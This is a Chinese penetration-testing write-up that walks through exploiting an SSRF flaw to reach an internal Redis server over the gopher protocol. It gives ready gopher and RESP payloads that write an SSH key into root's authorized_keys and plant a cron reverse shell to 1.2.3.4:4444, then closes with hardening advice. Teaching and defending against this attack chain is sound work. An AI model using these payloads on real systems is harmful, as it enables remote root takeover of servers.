渗透测试实战:SSRF漏洞到Redis未授权访问的完整攻击链剖析
在一次常规的企业内部渗透测试中,我发现了一个看似普通的SSRF漏洞,却意外打开了通往内网核心系统的大门。这个故事不是教科书式的漏洞复现,而是一个真实攻击者视角下的完整技术探索——从最初的信息收集到最终的权限获取,中间充满了各种技术细节和实战技巧。
1. 漏洞发现与初步利用
那是一个普通的Web应用,在用户头像上传功能处,系统允许通过URL引用外部图片。当我尝试修改这个URL参数时,发现服务器确实会发起对应的请求——典型的SSRF漏洞特征。
关键测试步骤:
- 尝试访问
http://169.254.169.254/latest/meta-data/确认云服务元数据接口 - 使用
file:///etc/passwd探测本地文件读取能力 - 通过DNS重绑定技术绕过部分防护措施
注意:现代WAF通常会对这些常见测试payload进行拦截,需要不断变换测试手法
在确认漏洞存在后,我开始对内网服务进行探测。通过Burp Suite的Intruder模块,我构造了如下扫描字典:
GET / HTTP/1.1 Host: 192.168.1.{NUM} Connection: close2. 内网服务发现与协议选择
经过几轮扫描,我在内网发现了几个有趣的开放端口:
| 端口号 | 可能服务 | 利用价值评估 |
|---|---|---|
| 6379 | Redis | ★★★★★ |
| 3306 | MySQL | ★★☆☆☆ |
| 8080 | HTTP服务 | ★★★☆☆ |
Redis服务引起了我的特别注意,因为:
- 它通常以root权限运行
- 默认配置下可能允许未授权访问
- 提供了直接写入文件的能力
协议选择考量:
- HTTP协议:通用但交互复杂
- Dict协议:简单但功能有限
- Gopher协议:灵活且支持完整TCP交互
最终我选择了Gopher协议,因为它允许构造任意TCP流量,能够完整模拟Redis客户端通信。
3. Gopher协议深度解析
Gopher是一种古老的网络协议,但在SSRF攻击中却异常强大。它的URL格式如下:
gopher://<hostname>:<port>/<gophertype><path>对于Redis通信,我们需要特别注意几点:
- Redis使用RESP协议(REdis Serialization Protocol)
- 每条命令需要以
\r\n结尾 - 批量字符串使用
$前缀声明长度
一个典型的Redis命令在Gopher URL中的编码示例:
import urllib.parse command = "*1\r\n$4\r\nPING\r\n" encoded = urllib.parse.quote(command) print(f"gopher://127.0.0.1:6379/_{encoded}") # 注意下划线前缀4. Redis利用实战:从SSRF到RCE
通过SSRF漏洞,我构造了以下攻击链:
信息收集:
curl 'http://vuln-site.com/avatar?url=gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A'写入SSH公钥:
# 生成攻击payload key = open('/home/user/.ssh/id_rsa.pub').read() cmd = f""" *3\r $3\r SET\r $1\r x\r ${len(key)}\r {key}\r *4\r $6\r CONFIG\r $3\r SET\r $3\r dir\r $11\r /root/.ssh\r *4\r $6\r CONFIG\r $3\r SET\r $10\r dbfilename\r $15\r authorized_keys\r *1\r $4\r SAVE\r """计划任务写入:
cmd = """ *3\r $3\r SET\r $1\r x\r $48\r */1 * * * * bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\r *4\r $6\r CONFIG\r $3\r SET\r $3\r dir\r $16\r /var/spool/cron\r *4\r $6\r CONFIG\r $3\r SET\r $10\r dbfilename\r $4\r root\r *1\r $4\r SAVE\r """
在实际操作中,我遇到了几个关键挑战:
- URL编码的特殊处理
- Redis协议格式的严格要求
- 内网防火墙规则限制
5. 防御措施与检测建议
针对这类攻击,企业可以采取以下防护措施:
网络层防护:
- 严格限制内网服务间的访问权限
- 对Redis等关键服务实施网络隔离
- 监控异常的内网流量模式
应用层防护:
- 彻底禁用不必要的URL协议(如gopher、dict)
- 实施严格的输入验证和输出编码
- 使用白名单机制限制SSRF可访问的地址范围
Redis安全配置:
# 必须修改的redis.conf配置项 bind 127.0.0.1 protected-mode yes requirepass "强密码" rename-command CONFIG ""在防御这类攻击时,最重要的是理解攻击者的思维方式和工具链。只有站在攻击者的角度思考,才能构建真正有效的防御体系。